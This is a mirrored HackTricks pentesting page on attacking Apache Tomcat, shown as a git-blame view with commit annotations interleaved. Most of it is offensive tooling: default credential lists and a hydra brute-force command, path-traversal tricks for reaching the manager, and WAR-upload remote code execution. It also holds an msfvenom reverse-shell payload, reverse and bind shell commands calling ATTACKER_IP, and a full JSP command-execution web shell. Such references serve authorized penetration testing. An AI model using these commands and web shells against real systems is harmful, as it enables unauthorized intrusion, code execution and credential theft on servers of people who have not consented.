Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/tomcat.md

282 lines
12 KiB
Markdown
Raw Normal View History

GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
# Tomcat
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
update twitter
2023-04-25 18:35:28 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
hacktricks twitch
2022-12-05 22:29:21 +00:00
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
</details>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
intruder
2023-09-02 23:51:32 +00:00
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
intruder
2023-09-02 23:48:41 +00:00
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
## Discovery
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
* It usually runs on **port 8080**
* **Common Tomcat error:**
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3568] No subject
2022-10-05 21:51:12 +00:00
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
## Enumeration
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
### Version
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
```
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
### Locate manager files
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
It's interesting to find where are the pages **`/manager`** and **`/host-manager`** as they might have a different name. You can search them with a brute-force.
### Username Enum
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
In some versions prior to Tomcat6 you could enumerate users:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
### Default credentials
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
* admin:admin
* tomcat:tomcat
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
* admin:\<NOTHING>
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
You could test these and more using:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
GitBook: [master] one page modified
2021-08-29 14:16:38 +00:00
Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Bruteforce
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
## Vulns
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Password backtrace disclosure
GitBook: [#2951] No subject
2022-01-16 17:15:05 +00:00
Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Double URL encode
GitBook: [master] one page modified
2021-03-24 12:52:26 +00:00
GitBook: [master] 514 pages and 4 assets modified
2021-09-12 10:36:22 +00:00
A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
Fixing typos.
2021-09-10 08:33:24 +00:00
To access to backdoor you might also need to use the double urlencode trick.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### /examples
GitBook: [master] one page modified
2021-03-24 12:52:26 +00:00
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
GitBook: [master] one page modified
2021-03-24 12:52:26 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Path Traversal (..;/)
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
Update tomcat.md Fix Typo
2022-04-28 14:55:20 +00:00
So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
## RCE
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Limitations
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3537] No subject
2022-10-03 00:11:21 +00:00
You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
GitBook: [master] 2 pages modified
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
# undeploy
GitBook: [master] one page modified
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Metasploit
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### MSFVenom Reverse Shell
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
Update tomcat.md Fixed the MSFVenom WAR Stageless reverse TCP payload command for Tomcat page.
2023-10-20 01:15:50 +00:00
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)**
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
In some scenarios this doesn't work (for example old versions of sun)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
#### Download
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
#### Reverse shell
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
GitBook: [master] one page modified
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
#### Bind shell
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Using [Culsterd](https://github.com/hatRiot/clusterd)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
### Manual method - Web shell
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
webshell.war is created
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
# Upload it
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```
GitBook: [#2914] No subject
2021-12-23 18:13:55 +00:00
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
### Manual Method 2
Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
## POST
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
GitBook: [master] 514 pages and 4 assets modified
2021-09-12 10:36:22 +00:00
Name of Tomcat credentials file is _tomcat-users.xml_
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Fixing typos.
2021-09-10 08:33:24 +00:00
Other ways to gather Tomcat credentials:
GitBook: [master] 351 pages and 442 assets modified
2020-07-15 15:43:14 +00:00
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3343] No subject
2022-07-31 22:37:48 +00:00
## Other tomcat scanning tools
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
intruder
2023-09-02 23:51:32 +00:00
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
intruder
2023-09-02 23:48:41 +00:00
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
update twitter
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject
2022-10-02 23:29:55 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
update twitter
2023-04-25 18:35:28 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
hacktricks twitch
2022-12-05 22:29:21 +00:00
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Reference in a new issue Copy permalink